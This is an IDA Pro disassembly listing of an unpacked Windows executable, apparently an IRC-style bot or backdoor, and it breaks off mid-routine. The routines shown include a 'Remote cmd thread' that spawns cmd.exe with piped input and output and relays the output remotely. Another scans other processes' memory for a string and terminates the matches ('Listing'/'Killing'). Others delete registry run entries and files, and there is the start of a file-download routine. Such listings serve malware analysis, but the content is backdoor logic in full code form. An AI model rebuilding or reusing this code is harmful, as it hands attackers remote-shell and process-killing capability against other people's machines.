;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	8873F99988500EE1D1194C091874A76B

; File Name   :	u:\work\8873f99988500ee1d1194c091874a76b_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00010000 (  65536.)
; Section size in file		: 00010000 (  65536.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_40110A+30p
					; sub_40110A+3Ep ...

var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= byte ptr -58h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 260h
		push	ebx
		xor	ebx, ebx
		cmp	off_412000, ebx
		mov	[ebp+var_C], ebx
		jz	loc_401104
		push	esi
		mov	eax, offset off_412000
		push	edi
		mov	edi, ds:dword_411008
		mov	[ebp+var_18], eax
		mov	esi, 104h


loc_401030:				; CODE XREF: sub_401000+FCj
		push	dword ptr [eax]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40AC4E
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	3
		lea	eax, [ebp+var_58]
		push	ebx
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_411000	; RegOpenKeyExA
		lea	eax, [ebp+var_4]
		mov	[ebp+var_10], ebx
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_260]
		mov	[ebp+var_14], esi
		push	eax
		mov	[ebp+var_4], esi
		push	ebx


loc_401080:				; CODE XREF: sub_401000+E6j
		push	[ebp+var_8]
		call	edi	; RegEnumValueA
		test	eax, eax
		jnz	short loc_4010E8
		cmp	[ebp+var_1C], 1
		jnz	short loc_4010BF
		push	[ebp+arg_4]
		lea	eax, [ebp+var_15C]
		push	[ebp+var_4]
		push	eax
		call	sub_4052F1
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4010BF
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_411004	; RegDeleteValueA
		test	eax, eax
		jnz	short loc_4010BF
		inc	[ebp+var_C]


loc_4010BF:				; CODE XREF: sub_401000+8Dj
					; sub_401000+A6j ...
		lea	eax, [ebp+var_4]
		inc	[ebp+var_10]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_260]
		mov	[ebp+var_14], esi
		push	eax
		mov	[ebp+var_4], esi
		push	[ebp+var_10]
		jmp	short loc_401080
; ---------------------------------------------------------------------------


loc_4010E8:				; CODE XREF: sub_401000+87j
		push	[ebp+var_8]
		call	ds:dword_411028	; RegCloseKey
		mov	eax, [ebp+var_18]
		add	eax, 4
		mov	[ebp+var_18], eax
		cmp	[eax], ebx
		jnz	loc_401030
		pop	edi
		pop	esi


loc_401104:				; CODE XREF: sub_401000+15j
		mov	eax, [ebp+var_C]
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40110A	proc near		; CODE XREF: sub_4011C4+23Bp
					; sub_40735A+42Fp

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	80h
		push	esi
		call	ds:dword_4110B0	; SetFileAttributesA
		test	eax, eax
		jz	loc_4011BF
		push	esi
		call	ds:dword_4110B8	; DeleteFileA
		push	esi
		push	80000001h
		call	sub_401000
		mov	ebx, 80000002h
		push	esi
		push	ebx
		mov	edi, eax
		call	sub_401000
		add	esp, 10h
		add	eax, edi
		jnz	short loc_4011BF
		mov	edi, 104h
		lea	eax, [ebp+var_104]
		push	edi
		push	esi
		push	eax
		call	sub_4052A6
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_410826	; strlen
		add	esp, 10h
		test	eax, eax
		jz	short loc_40119E


loc_40117A:				; CODE XREF: sub_40110A+78j
		cmp	byte ptr [esi+eax-1], 5Ch
		jz	short loc_401186
		dec	eax
		jnz	short loc_40117A
		jmp	short loc_40119E
; ---------------------------------------------------------------------------


loc_401186:				; CODE XREF: sub_40110A+75j
		lea	eax, [ebp+eax+var_104]
		push	edi
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4052A6
		add	esp, 0Ch


loc_40119E:				; CODE XREF: sub_40110A+6Ej
					; sub_40110A+7Aj
		lea	eax, [ebp+var_104]
		push	eax
		push	80000001h
		call	sub_401000
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	sub_401000
		add	esp, 10h


loc_4011BF:				; CODE XREF: sub_40110A+1Dj
					; sub_40110A+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40110A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4011C4	proc near		; DATA XREF: sub_4014B0+74o

var_3D0		= byte ptr -3D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_2C7		= dword	ptr -2C7h
var_2C3		= byte ptr -2C3h
var_2C2		= byte ptr -2C2h
var_1C3		= byte ptr -1C3h
var_2B		= byte ptr -2Bh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D0h
		push	2ACh
		lea	eax, [ebp+var_2CC]
		push	[ebp+arg_0]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		add	esp, 10h
		cmp	[ebp+var_2C8], 0
		jz	short loc_401218
		lea	eax, [ebp+var_2C3]
		push	eax
		mov	eax, [ebp+var_2CC]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1C3]
		push	offset dword_412144
		push	eax
		call	sub_408D50
		add	esp, 10h


loc_401218:				; CODE XREF: sub_4011C4+2Fj
		push	ebx
		push	esi
		call	sub_403F1D
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_40149C
		push	edi
		push	10000h
		call	sub_41082C	; malloc
		cmp	[esi], ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], ebx
		jle	loc_40143E
		xor	edi, edi


loc_40124A:				; CODE XREF: sub_4011C4+269j
		call	ds:dword_4110F0	; GetCurrentProcessId
		mov	ecx, [esi+4]
		cmp	[edi+ecx], eax
		jz	loc_40141F
		lea	eax, [ebp+var_3D0]
		push	104h
		push	eax
		push	ebx
		call	ds:dword_411094	; GetModuleHandleA
		push	eax
		call	ds:dword_411098	; GetModuleFileNameA
		mov	eax, [esi+4]
		lea	eax, [edi+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_3D0]
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40141F
		mov	eax, [esi+4]
		push	dword ptr [edi+eax]
		mov	al, [ebp+var_2C8]
		neg	al
		sbb	eax, eax
		push	ebx
		add	eax, 11h
		push	eax
		call	ds:dword_41109C	; OpenProcess
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	loc_40141F
		xor	edx, edx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_20], edx


loc_4012C2:				; CODE XREF: sub_4011C4+1DAj
		mov	eax, [esi+4]
		mov	[ebp+var_18], 10000h
		add	eax, edi
		mov	ecx, [eax+8]
		sub	ecx, edx
		cmp	ecx, 10000h
		ja	short loc_4012DE
		mov	[ebp+var_18], ecx


loc_4012DE:				; CODE XREF: sub_4011C4+115j
		mov	eax, [eax+4]
		lea	ecx, [ebp+var_C]
		push	ecx
		add	eax, edx
		push	[ebp+var_18]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4110A0	; ReadProcessMemory
		test	eax, eax
		jz	loc_40138A
		cmp	[ebp+var_C], ebx
		jz	loc_40138A
		xor	ecx, ecx


loc_40130A:				; CODE XREF: sub_4011C4+1B9j
		mov	eax, [ebp+arg_0]
		mov	al, [ecx+eax]
		cmp	al, [ebp+var_2C3]
		jz	short loc_401330
		movsx	edx, al
		movsx	eax, [ebp+var_2C3]
		lea	ebx, [eax+20h]
		cmp	edx, ebx
		jz	short loc_401330
		add	eax, 0FFFFFFE0h
		cmp	edx, eax
		jnz	short loc_401371


loc_401330:				; CODE XREF: sub_4011C4+152j
					; sub_4011C4+163j
		lea	eax, [ebp+var_2C2]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_1C], eax


loc_401343:				; CODE XREF: sub_4011C4+1ABj
		mov	eax, [ebp+var_14]
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_401381
		mov	eax, [ebp+var_1C]
		mov	al, [eax]
		cmp	dl, al
		jz	short loc_401369
		movsx	eax, al
		movsx	edx, dl
		lea	ebx, [eax+20h]
		cmp	edx, ebx
		jz	short loc_401369
		add	eax, 0FFFFFFE0h
		cmp	edx, eax
		jnz	short loc_401371


loc_401369:				; CODE XREF: sub_4011C4+18Fj
					; sub_4011C4+19Cj
		inc	[ebp+var_1C]
		inc	[ebp+var_14]
		jmp	short loc_401343
; ---------------------------------------------------------------------------


loc_401371:				; CODE XREF: sub_4011C4+16Aj
					; sub_4011C4+1A3j
		mov	eax, [ebp+var_C]
		inc	ecx
		sub	eax, [ebp+var_2C7]
		cmp	ecx, eax
		jbe	short loc_40130A
		jmp	short loc_40138A
; ---------------------------------------------------------------------------


loc_401381:				; CODE XREF: sub_4011C4+186j
		mov	eax, [ebp+arg_0]
		add	ecx, eax
		test	ecx, ecx
		jnz	short loc_4013A3


loc_40138A:				; CODE XREF: sub_4011C4+135j
					; sub_4011C4+13Ej ...
		mov	edx, [ebp+var_20]
		mov	eax, [esi+4]
		add	edx, [ebp+var_18]
		cmp	edx, [edi+eax+8]
		mov	[ebp+var_20], edx
		jz	short loc_401414
		xor	ebx, ebx
		jmp	loc_4012C2
; ---------------------------------------------------------------------------


loc_4013A3:				; CODE XREF: sub_4011C4+1C4j
		inc	[ebp+var_8]
		cmp	[ebp+var_2C8], 0
		jz	short loc_4013EC
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		mov	bl, [ebp+var_2B]
		and	[ebp+var_2B], 0
		mov	eax, [esi+4]
		add	eax, edi
		push	dword ptr [eax]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_2C3]
		push	eax
		lea	eax, [ebp+var_1C3]
		push	offset dword_41211C
		push	eax
		call	sub_408D50
		add	esp, 14h
		mov	[ebp+var_2B], bl
		jmp	short loc_401405
; ---------------------------------------------------------------------------


loc_4013EC:				; CODE XREF: sub_4011C4+1E9j
		push	0
		push	[ebp+var_4]
		call	ds:dword_4110A8	; TerminateProcess
		mov	eax, [esi+4]
		lea	eax, [edi+eax+0Ch]
		push	eax
		call	sub_40110A
		pop	ecx


loc_401405:				; CODE XREF: sub_4011C4+226j
		mov	eax, [ebp+var_2CC]
		xor	ebx, ebx
		cmp	[eax+4], ebx
		jnz	short loc_401435
		jmp	short loc_401416
; ---------------------------------------------------------------------------


loc_401414:				; CODE XREF: sub_4011C4+1D6j
		xor	ebx, ebx


loc_401416:				; CODE XREF: sub_4011C4+24Ej
		push	[ebp+var_4]
		call	ds:dword_4110AC	; CloseHandle


loc_40141F:				; CODE XREF: sub_4011C4+92j
					; sub_4011C4+CAj ...
		inc	[ebp+var_10]
		add	edi, 114h
		mov	eax, [ebp+var_10]
		cmp	eax, [esi]
		jl	loc_40124A
		jmp	short loc_40143E
; ---------------------------------------------------------------------------


loc_401435:				; CODE XREF: sub_4011C4+24Cj
		push	[ebp+var_4]
		call	ds:dword_4110AC	; CloseHandle


loc_40143E:				; CODE XREF: sub_4011C4+7Ej
					; sub_4011C4+26Fj
		push	esi
		call	sub_404138
		push	[ebp+arg_0]
		call	sub_410832	; free
		cmp	[ebp+var_2C8], 0
		pop	ecx
		pop	ecx
		pop	edi
		jz	short loc_40149C
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		cmp	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C3]
		push	eax
		jnz	short loc_401485
		lea	eax, [ebp+var_1C3]
		push	offset dword_4120F8
		push	eax
		call	sub_408D50
		add	esp, 0Ch
		jmp	short loc_40149C
; ---------------------------------------------------------------------------


loc_401485:				; CODE XREF: sub_4011C4+2A9j
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C3]
		push	offset dword_4120CC
		push	eax


loc_401494:				; DATA XREF: .data:off_414C48o
		call	sub_408D50
		add	esp, 10h


loc_40149C:				; CODE XREF: sub_4011C4+61j
					; sub_4011C4+292j ...
		push	[ebp+var_2CC]
		call	sub_406753
		pop	ecx
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4011C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4014B0	proc near		; CODE XREF: sub_40735A+450p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_401531
		push	edi
		call	sub_410826	; strlen
		test	eax, eax
		pop	ecx
		jz	short loc_401531
		push	2ACh
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_401531
		push	ebx
		mov	bl, [esp+0Ch+arg_8]
		push	edi
		mov	[esi+4], bl
		call	sub_410826	; strlen
		mov	[esi+5], eax
		mov	[esp+10h+var_10], 100h
		lea	eax, [esi+9]
		push	edi
		push	eax
		call	sub_41083E	; strncpy
		push	[esp+18h+arg_0]
		lea	eax, [esi+109h]
		push	eax
		call	sub_403E60
		add	esp, 14h
		mov	eax, offset aListing ; "Listing"
		test	bl, bl
		pop	ebx
		jnz	short loc_40151A
		mov	eax, offset aKilling ; "Killing"


loc_40151A:				; CODE XREF: sub_4014B0+63j
		push	edi
		push	eax
		push	offset dword_412174
		push	0
		push	esi
		push	offset sub_4011C4
		call	sub_40663C
		add	esp, 18h


loc_401531:				; CODE XREF: sub_4014B0+8j
					; sub_4014B0+13j ...
		pop	edi
		pop	esi
		retn
sub_4014B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401534	proc near		; CODE XREF: sub_401621:loc_40188Dp
		mov	eax, dword_417B54
		push	esi
		mov	esi, ds:dword_4110AC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401548
		push	eax
		call	esi	; CloseHandle


loc_401548:				; CODE XREF: sub_401534+Fj
		mov	eax, dword_417B48
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401555
		push	eax
		call	esi	; CloseHandle


loc_401555:				; CODE XREF: sub_401534+1Cj
		mov	eax, dword_417B4C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401562
		push	eax
		call	esi	; CloseHandle


loc_401562:				; CODE XREF: sub_401534+29j
		mov	eax, dword_417B50
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40156F
		push	eax
		call	esi	; CloseHandle


loc_40156F:				; CODE XREF: sub_401534+36j
		pop	esi
		retn
sub_401534	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401571	proc near		; CODE XREF: sub_401621+228p
					; sub_401621+252p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+189h], 0
		jnz	short loc_401590
		cmp	byte ptr [esi+18Dh], 0
		jz	short loc_4015CE


loc_401590:				; CODE XREF: sub_401571+14j
					; sub_401571+49j ...
		push	32h
		call	ds:dword_4110A4	; Sleep
		cmp	byte ptr [esi+189h], 0
		jz	short loc_4015B3
		call	sub_41084A	; clock
		sub	eax, dword_417B5C
		cmp	eax, 1F4h
		jnb	short loc_4015CE


loc_4015B3:				; CODE XREF: sub_401571+2Ej
		cmp	byte ptr [esi+18Dh], 0
		jz	short loc_401590
		call	sub_41084A	; clock
		sub	eax, dword_417B5C
		cmp	eax, 0FAh
		jb	short loc_401590


loc_4015CE:				; CODE XREF: sub_401571+1Dj
					; sub_401571+40j
		call	sub_41084A	; clock
		mov	ecx, [ebp+arg_4]
		mov	dword_417B5C, eax
		mov	al, [ecx]
		cmp	al, 0Ah
		jz	short loc_4015FC
		cmp	al, 0Dh
		jz	short loc_4015FC
		push	200h
		lea	eax, [ebp+var_200]
		push	ecx
		push	eax
		call	sub_4052A6
		add	esp, 0Ch
		jmp	short loc_40160F
; ---------------------------------------------------------------------------


loc_4015FC:				; CODE XREF: sub_401571+6Ej
					; sub_401571+72j
		lea	eax, [ebp+var_200]
		push	offset dword_4121A4
		push	eax
		call	sub_410844	; sprintf
		pop	ecx
		pop	ecx


loc_40160F:				; CODE XREF: sub_401571+89j
		lea	eax, [ebp+var_200]
		push	eax
		push	esi
		call	sub_408D50
		pop	ecx
		pop	ecx
		pop	esi
		leave
		retn
sub_401571	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401621	proc near		; DATA XREF: sub_4018D5+73o

var_724		= byte ptr -724h
var_620		= byte ptr -620h
var_420		= dword	ptr -420h
var_21C		= byte ptr -21Ch
var_78		= dword	ptr -78h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 724h
		push	ebx
		push	esi
		push	edi
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		add	esp, 10h
		call	sub_41084A	; clock
		sub	eax, 1F4h
		xor	esi, esi
		mov	dword_417B5C, eax
		lea	eax, [ebp+var_724]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:dword_411074	; SearchPathA
		test	eax, eax
		jz	loc_401892
		push	1
		lea	eax, [ebp+var_20]
		pop	ebx
		mov	edi, ds:dword_411078
		push	esi
		push	eax
		lea	eax, [ebp+var_10]
		mov	[ebp+var_20], 0Ch
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_1C], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40188D
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40188D
		mov	edi, ds:dword_4110F8
		push	3
		push	esi
		push	esi
		push	offset dword_417B50
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_411080	; DuplicateHandle
		test	eax, eax
		jz	loc_40188D
		push	10h
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		call	sub_410850	; memset
		push	44h
		lea	eax, [ebp+var_78]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_410850	; memset
		mov	eax, [ebp+var_C]
		add	esp, 18h
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_34]
		mov	[ebp+var_78], edi
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		push	esi
		lea	eax, [ebp+var_724]
		push	offset byte_417B60
		push	eax
		mov	[ebp+var_4C], 101h
		mov	[ebp+var_48], si
		call	ds:dword_411084	; CreateProcessA
		test	eax, eax
		jz	loc_40188D
		push	[ebp+var_C]
		mov	edi, ds:dword_4110AC
		call	edi	; CloseHandle
		mov	eax, [ebp+var_14]
		push	[ebp+var_30]
		mov	dword_417B54, eax
		mov	eax, [ebp+var_8]
		mov	dword_417B48, eax
		mov	eax, [ebp+var_34]
		mov	dword_417B4C, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+var_420]
		mov	[ebp+var_4], esi
		cmp	[eax+4], esi
		jnz	loc_40188D
		mov	edi, 200h
		mov	ebx, 103h


loc_40178F:				; CODE XREF: sub_401621+238j
		push	edi
		lea	eax, [ebp+var_620]
		push	esi
		push	eax
		call	sub_410850	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	esi
		push	eax
		lea	eax, [ebp+var_620]
		push	edi
		push	eax
		push	dword_417B54
		call	ds:dword_411088	; PeekNamedPipe
		test	eax, eax
		jz	loc_401867
		cmp	[ebp+var_4], esi
		jnz	short loc_4017F1
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], ebx
		push	eax
		push	dword_417B4C
		call	ds:dword_41108C	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_4017E7
		cmp	[ebp+arg_0], ebx
		jnz	loc_40187A


loc_4017E7:				; CODE XREF: sub_401621+1BBj
		push	0Ah
		call	ds:dword_4110A4	; Sleep
		jmp	short loc_401850
; ---------------------------------------------------------------------------


loc_4017F1:				; CODE XREF: sub_401621+1A4j
		xor	eax, eax
		cmp	[ebp+var_4], esi
		jbe	short loc_401808


loc_4017F8:				; CODE XREF: sub_401621+1E5j
		cmp	[ebp+eax+var_620], 0Ah
		jz	short loc_401861
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_4017F8


loc_401808:				; CODE XREF: sub_401621+1D5j
		mov	[ebp+var_4], edi


loc_40180B:				; CODE XREF: sub_401621+244j
		push	edi
		lea	eax, [ebp+var_620]
		push	esi
		push	eax
		call	sub_410850	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_620]
		push	eax
		push	dword_417B54
		call	ds:dword_411090	; ReadFile
		test	eax, eax
		jz	short loc_40188D
		lea	eax, [ebp+var_620]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_401571
		pop	ecx
		pop	ecx


loc_401850:				; CODE XREF: sub_401621+1CEj
		mov	eax, [ebp+var_420]
		cmp	[eax+4], esi
		jz	loc_40178F
		jmp	short loc_40188D
; ---------------------------------------------------------------------------


loc_401861:				; CODE XREF: sub_401621+1DFj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40180B
; ---------------------------------------------------------------------------


loc_401867:				; CODE XREF: sub_401621+19Bj
		lea	eax, [ebp+var_21C]
		push	offset aCouldNotReadDa ; "Could	not read data from process."
		push	eax
		call	sub_401571
		jmp	short loc_40188B
; ---------------------------------------------------------------------------


loc_40187A:				; CODE XREF: sub_401621+1C0j
		lea	eax, [ebp+var_21C]
		push	offset aCmd_exeProcess ; "Cmd.exe process has terminated."
		push	eax
		call	sub_408D50


loc_40188B:				; CODE XREF: sub_401621+257j
		pop	ecx
		pop	ecx


loc_40188D:				; CODE XREF: sub_401621+85j
					; sub_401621+9Cj ...
		call	sub_401534


loc_401892:				; CODE XREF: sub_401621+58j
		push	[ebp+var_420]
		call	sub_406753
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_401621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018A7	proc near		; CODE XREF: sub_4018D5+90p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_410826	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_417B50
		call	ds:dword_411070	; WriteFile
		neg	eax
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_4018A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D5	proc near		; CODE XREF: sub_40735A+1054p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	[eax+198h], bl
		push	edi
		jz	short loc_401905
		cmp	[ebp+arg_4], ebx
		jz	loc_401980
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_4111E4
		jmp	short loc_401980
; ---------------------------------------------------------------------------


loc_401905:				; CODE XREF: sub_4018D5+11j
		push	3A7h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	short loc_401980
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		jz	short loc_40192F
		push	200h
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_4052A6
		add	esp, 0Ch


loc_40192F:				; CODE XREF: sub_4018D5+46j
		push	[ebp+arg_0]
		lea	eax, [esi+204h]
		push	eax
		call	sub_403E60
		pop	ecx
		pop	ecx
		push	offset aRemoteCmdThrea ; "Remote cmd thread"
		push	1
		push	esi
		push	offset sub_401621
		call	sub_40663C
		add	esp, 10h
		cmp	edi, ebx
		jz	short loc_401980
		push	offset asc_412214 ; "\r\n"
		push	edi
		call	sub_410856	; _mbscat
		push	edi
		call	sub_4018A7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_401980
		push	offset aErrorWhileExec ; "Error	while executing	command."
		push	[ebp+arg_0]
		call	sub_408D50
		pop	ecx
		pop	ecx


loc_401980:				; CODE XREF: sub_4018D5+16j
					; sub_4018D5+2Ej ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4018D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401985	proc near		; DATA XREF: sub_401EA8+E9o

var_604		= qword	ptr -604h
var_5FC		= qword	ptr -5FCh
var_5E8		= byte ptr -5E8h
var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3C3		= byte ptr -3C3h
var_2BF		= byte ptr -2BFh
var_1BF		= byte ptr -1BFh
var_1B5		= byte ptr -1B5h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5E8h
		push	esi
		push	3D6h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3E8]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		add	esp, 10h
		lea	eax, [ebp+var_3C3]
		push	eax
		call	ds:dword_4110B8	; DeleteFileA
		lea	eax, [ebp+var_3C3]
		push	offset dword_4122AC
		push	eax
		call	sub_41086E	; fopen
		xor	esi, esi
		pop	ecx
		cmp	eax, esi
		pop	ecx
		mov	[ebp+var_10], eax
		jnz	short loc_4019E4
		push	[ebp+var_3E8]
		call	sub_406753
		jmp	short loc_401A1B
; ---------------------------------------------------------------------------


loc_4019E4:				; CODE XREF: sub_401985+50j
		push	2710h
		lea	eax, [ebp+var_1BF]
		push	esi
		push	eax
		lea	eax, [ebp+var_2BF]
		push	eax
		call	sub_403BBB
		add	esp, 10h
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jnz	short loc_401A23
		push	[ebp+var_10]
		call	sub_410868	; fclose
		push	[ebp+var_3E8]
		call	sub_406753
		pop	ecx


loc_401A1B:				; CODE XREF: sub_401985+5Dj
		pop	ecx
		xor	eax, eax
		jmp	loc_401B7C
; ---------------------------------------------------------------------------


loc_401A23:				; CODE XREF: sub_401985+80j
		push	ebx
		lea	eax, [ebp+var_3E4]
		push	edi
		push	eax
